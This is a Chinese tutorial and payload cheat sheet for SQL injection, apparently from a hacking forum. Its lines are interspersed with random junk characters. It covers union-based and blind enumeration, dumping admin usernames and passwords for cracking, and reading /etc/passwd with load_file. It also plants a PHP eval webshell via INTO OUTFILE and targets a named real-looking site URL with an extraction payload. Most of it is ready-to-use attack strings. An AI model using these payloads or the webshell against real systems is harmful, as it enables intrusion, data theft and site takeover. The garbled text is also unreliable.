我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
6 N4 A/ p& z. x9 P让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
9 l0 u n2 W7 Z3 |+ n9 t3 C我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。1 Q, P) |- o- ~& u" z1 r5 E9 Z
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
0 ?. b1 f. H. F! t) V1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
) H# J Z4 v6 T( A. `0 K& j8 H6 r这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
$ y T6 j# w# A$ H+ `Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in G/ H/ b, z' S. w1 a+ d
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入& u. \' S0 z6 P4 b8 K( h
1 N! z0 t2 S: E# g$ c2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
1 ^) ?% F3 E' Z3 S, \3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
# O) l0 O. ~- v( V9 x4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息! j% Z& U; r7 k. S+ P) \& i
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
% |* P& {( j8 `' @# w$ i有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,8 V0 ?% p; o5 B8 o4 w6 T
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。: Y# L6 @2 w# K$ K2 \9 s
我就用的是第二个思路,
' i$ C* [7 N+ Z0 q2 p2 E6 K提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
- U/ w8 j+ ]! e2 [; k- r6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
9 r5 |' d+ }. [/ }! B$ c提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
: H* _, g/ Y0 a3 D- a; P, g注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。* R# k) w# V2 `! ?0 x) h4 q6 c7 D
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????; t5 O1 Q% c7 l/ g
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
Z; x9 v! A2 H7 {提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --+ k# C( j( k# q Q
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,. ~) b, B0 ]; I: g% a4 Y' p
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
7 n5 K( T8 c$ O0 R: F下面是一些很普遍注入方式资料:, o9 w s; F5 v4 F* S( y3 V; c
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
9 R) Z9 g Z+ e' e6 E: `1 U& U拆半法
9 {) u0 m6 t4 s6 c######################################2 z3 m# D% T- L7 U2 f
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
# Y+ { O! Y1 `3 B1 U& U8 o/ band exists (select * from admin)1 {: p/ m1 z1 s3 X7 n
and exists(select id from admin)+ R2 _3 y2 v. z. p5 a
and exists(select id from admin where id=1)" e- r K5 N! c3 c! r' n
and exists(select id from admin where id>1)
8 k" e* r# `4 Q) b4 D$ y8 R然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
5 g" C* ?: r; M- B+ d8 ]and exists (select username from admin)
% B$ }! K; y, h% B% xand exists (select password from admin)
% Q F& L4 E) L4 c3 Pand exists (select id from admin where len(username)<10 and id=1)
( K0 T. p5 q/ O; Tand exists (select id from admin where len(username)>5 and id=1)+ ]( k7 b- q( x5 M& y& l3 F
and exists (select id from admin where len(username)=6 and id=1)
+ |5 r- C1 Q& a1 Z* K5 [and exists (select id from admin where len(password)<10 and id=1). g$ m C8 c" T3 W
and exists (select id from admin where len(password)>5 and id=1)
|) B! g; V* K. M- m* N* }and exists (select id from admin where len(password)=7 and id=1)0 G% A. y! N F( X, w. K. W
and (select top 1 asc(mid(username,1,1)) from admin)=97
6 E& Q6 A# g# l6 N9 q返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。# C$ |: B% |5 B3 r2 ^$ A5 [& \1 j
猜第二位把username,1,1改成username,2,1就可以了。% K4 X- c$ f' E; N
猜密码把username改成password就OK了
2 v" |+ T; h" ?( P##################################################
" } n1 `2 T7 `" r( ~( Q# M搜索型注入% ^) ~3 ]( a, h% J8 V6 q
##################################
: m+ a# g5 f$ Z, a* W: F3 P%' and 1=1 and '%'='9 I3 i# i% n! ^
%' and exists (select * from admin) and '%'='
" r# a3 H+ w6 }! V; W. r8 Y%' and exists(select id from admin where id=1) and '%'='
' [$ z& L' i! W2 C; L' V%' and exists (select id from admin where len(username)<10 and id=1) and '%'='# ~5 S9 K1 `; b5 y
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
. x, _% D+ d6 B5 u, s%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='6 z. J6 l9 R4 {
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
4 H3 J4 {2 o: m! h对于MSSQL数据库,后面可以吧 and '%'='换成--3 N1 o0 b- o5 {/ x# V
还有一点搜索型注入也可以使用union语句。 e! B% F. W1 |$ T! _3 M0 v5 ~
######################################################### b) q# B6 q% V
联合查询。
( X, P/ a9 ?8 y) v5 @/ B' ^8 z) v#####################################) e. k% p# h) I3 c5 ]: J9 f! t
order by 108 n O6 i9 o" n _0 F
and 1=2 union select 1,2,3,4,5,6,7,8,9,102 o4 W! I/ P1 `5 J
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
1 R7 q5 S5 k- m, ~and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
# n2 w, C+ o6 w0 D, S! p4 O很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)" O" E% \% B, J U$ p5 v
###################################
& i) x4 B* a5 V `: t0 jcookie注入
) X& X; i/ O* T$ z7 r###############################7 a( A4 S) Y8 p/ S( N$ ^7 X
http://www.******.com/shownews.asp?id=1276 o) B# o- n' g. x) n9 B9 g- y
http://www.******.com/shownews.asp
/ R& O( ~" j( Galert(="id="+escape("127"));
( a: r7 G+ N5 \1 ]alert(="id="+escape("127 and 1=1"));
1 V2 X" V% F; n. Lalert(="id="+escape("127 order by 10"));7 X# z8 G- S6 d" Y
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
7 u( z" D0 D: G/ M9 Yalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
4 t; ?% f( y7 u& n- ?5 c这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。2 s+ f0 Q# h% N) Q5 L) w5 Y
###################################: t1 s9 I5 N7 x4 Y# K C
偏移注入+ K! C0 o; |* D' y
###########################################################
) S1 E, v2 B. t6 \* M! xunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin% G8 i$ j+ C! J4 n. \
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
$ t4 v% P* A+ a# [1 o. Tunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)! X( Y; K" D$ h( X/ W: F1 v6 S8 K
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)9 t. P% n7 D# O9 Q" x9 x- k
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)' h2 f. L6 f [# Z3 C) M& z
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)- b3 Z2 c& v: g! C4 J
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on! r0 C" z" J2 Q- ^
a.id=d.id)
7 B5 z4 n' x* G3 D7 j2 gand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)! d+ `" Z; N: J% O+ G$ G! v9 Z
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
: k9 @8 }- z4 _ # T7 x2 R9 u- l7 [. b" B' t
============================================================================================================. r& `( F2 K6 Y+ }5 W
1.判断版本
; \3 M3 w0 d1 D+ |1 f& k5 gand ord(mid(version(),1,1))>51
4 A/ R- I' |$ {3 Z' ?返回正常,说明大于4.0版本,支持ounion查询. U6 h: a# \2 l$ v: o. }5 i
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解2 M* H P' H: {0 c/ |% }! }! C
and 2=4 union select 1,2,3,4,5,6,7,8,9--9 u' \7 d) ?3 G+ p8 P; x/ S
3.查看数据库版本及当前用户,
8 l% D, Q& M# M/ g8 y9 L4 P2 S3 ]and 2=4 union select 1,user(),version(),4,5,6,7,8,9--) f+ l5 d5 a. H0 \+ B7 l
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,; t4 C& W, V6 _+ ~( Q% Z# Q
4.判断有没有写权限
% L2 O8 x4 t5 m: w+ Qand (select count(*) from MySQL.user)>0--
5 i+ j1 g0 m4 d5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1( f6 n7 a5 X1 p2 `6 S1 _6 s9 y" ]
用不了这个命令,就学习土耳其黑客手法,如下
( d: u+ e& T Q# `( ~and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
% p( A F: u4 e1 i( F; h6.爆表,爆库
( t7 ~8 p* Q3 aand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
% C% e; L, R" D8 Z1 K7.爆列名,爆表
0 m- a% X% e7 O' zand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
" A3 z3 t5 H9 h+ r8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
' o2 J( j9 s2 N( b* e$ \2 |and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
' D& P' D4 d1 }/ \/ q: Q9.爆字段内容4 q& v) B, l- E' F3 O! d4 Z
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
; Q# O+ m) i* ?# w' E! `6 o) Khttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |